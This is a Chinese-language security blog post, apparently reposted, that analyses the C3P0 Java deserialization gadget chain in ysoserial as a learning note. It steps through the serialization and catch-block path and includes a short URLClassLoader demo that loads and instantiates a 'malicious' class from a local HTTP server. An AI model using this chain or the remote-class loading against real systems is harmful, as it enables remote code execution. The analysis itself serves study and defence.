ysoserial分析之C3P0利用链

admin 2022年5月7日12:38:45评论45 views字数 2601阅读8分40秒阅读模式

0x01 前言

这个也算是老洞重谈了吧,之前就准备写的,疫情在家人变懒了,就一直没写,相关技术文章也很多,不是为了重复造轮子,只是加上了点自己的理解,留作学习笔记,有分析不好的地方,还望大佬们多多包含。

0x02 漏洞分析

01 一些小知识点

在分析漏洞之前,我想讲一些前置知识点,就是URLClassLoader加载远程恶意类,这个懂得大佬可以略过

首先要定义一个恶意类,如图

ysoserial分析之C3P0利用链


我们把这段代码复制出来,文件名就是类名,这个不用多说了,然后本地java编译为class字节码文件,这里有个细节,就是要把package这一行删除,不然得指定全限定类名才能找到恶意类执行

ysoserial分析之C3P0利用链


将这个恶意类放置到本地搭建的http服务器上,可以直接通过web访问到即可

然后编写一个URLClassLoader类加载器,加载远程类,代码如下

package mydemo.c3p0;
import java.net.MalformedURLException;import java.net.URL;import java.net.URLClassLoader;
public class URLClassLoaderStudy {
public static void main(String[] args) { try { URL url = new URL("http://127.0.0.1/test/jndi/"); URLClassLoader classLoader = new URLClassLoader(new URL[]{url}); Class<?> exec = Class.forName("Exec", true, classLoader); exec.newInstance(); } catch (MalformedURLException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } }}


直接运行后即可加载远程恶意类

ysoserial分析之C3P0利用链


02 调试分析

了解到如何加载远程恶意类之后,我们就开始调试代码了,这里就直接使用了ysoserial自带的类进行调试了

先设置传入的参数为 http://127.0.0.1/test/jndi/:Exec

ysoserial分析之C3P0利用链


在com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject 和 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject 方法处打上断点

开启debug模式

ysoserial分析之C3P0利用链


前面就不用说了,对传入的参数进行分割赋值,然后通过反射的方式创建 PoolBackedDataSource 对象

创建对象之后,获取其父类的 connectionPoolDataSource 字段,继承关系如图

ysoserial分析之C3P0利用链


将子类的 connectionPoolDataSource 字段设置为 new PoolSource(className, url),跟入

ysoserial分析之C3P0利用链


进入到了自定义的类中,调用构造方法对 className 和 url 赋值,这里要注意一个点,就是 PoolSource 类实现了 ConnectionPoolDataSource 和 Referenceable 接口,但是这两个接口都是没有实现 Serializable 接口,所以PoolSource 是不能被序列化和反序列化的

代码继续往下走

ysoserial分析之C3P0利用链


返回的 b 是 PoolBackedDataSource 对象,序列化的也就是 PoolBackedDataSource 对象,由于 PoolBackedDataSource 对象中没有实现 writeObject 和 readObject 方法,所以会调用父类的 writeObject 和 readObject,如图

ysoserial分析之C3P0利用链


由于 connectionPoolDataSource  字段没为 PoolSource 没有实现序列化接口,所以无法直接 writeObject,这里会触发异常,进入catch方法

在catch方法中实例化了一个 ReferenceIndirector 对象,然后调用  ReferenceIndirector 对象的 indirectForm 方法,我们跟入

ysoserial分析之C3P0利用链


调用PoolSource对象的getReference方法,跟入

ysoserial分析之C3P0利用链


可以看到,在 getReference 方法中实例化了 Reference 对象,将恶意的 className 和 url 作为参数传入构造方法

ysoserial分析之C3P0利用链


然后回到 indirectForm 方法

ysoserial分析之C3P0利用链


这里注意,是重新new了一个 ReferenceIndirector.ReferenceSerialized 对象,跟入

ysoserial分析之C3P0利用链


构造方法中对this.reference进行了赋值,赋值为前面实例化的Reference对象,这里可以看到,ReferenceSerialized  实现了 IndirectlySerialized 接口,我们再看一下该接口

ysoserial分析之C3P0利用链


可以看到  IndirectlySerialized 接口实现了 Serializable 接口,那么也就说明,ReferenceSerialized 是可以被序列化与反序列化的,这也就解决了前面 PoolSource 无法被序列化的问题

序列化完之后就是反序列化了,跟入

ysoserial分析之C3P0利用链


可以看到,先是将前面序列化写入的对象反序列化还原回来,然后判断是否实现了 IndirectlySerialized 接口,很显然是满足的

进入if代码块,先是类型转换,然后调用getObject方法,跟入

ysoserial分析之C3P0利用链


我们主要关注最后一行,调用了 ReferenceableUtils.referenceToObject 方法,传入恶意的 Reference 对象,跟入

ysoserial分析之C3P0利用链


看到这里应该都明白了吧,就是通过 URLClassLoader 去加载外部恶意类实例化执行的,这部分就没太多好说的了

0x03 总结

本次漏洞说难不难,说简单也不简单,因为巧妙地利用了无法被序列化报错进入了catch代码块,重新进行了 封装,然后一步一步触发,还是比较巧妙的,值得学习。

0x04 参考文章

https://xz.aliyun.com/t/10273 (C3P0反序列化链浅析)

原文始发于微信公众号(伟盾网络安全):ysoserial分析之C3P0利用链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月7日12:38:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ysoserial分析之C3P0利用链https://cn-sec.com/archives/983971.html

发表评论

匿名网友 填写信息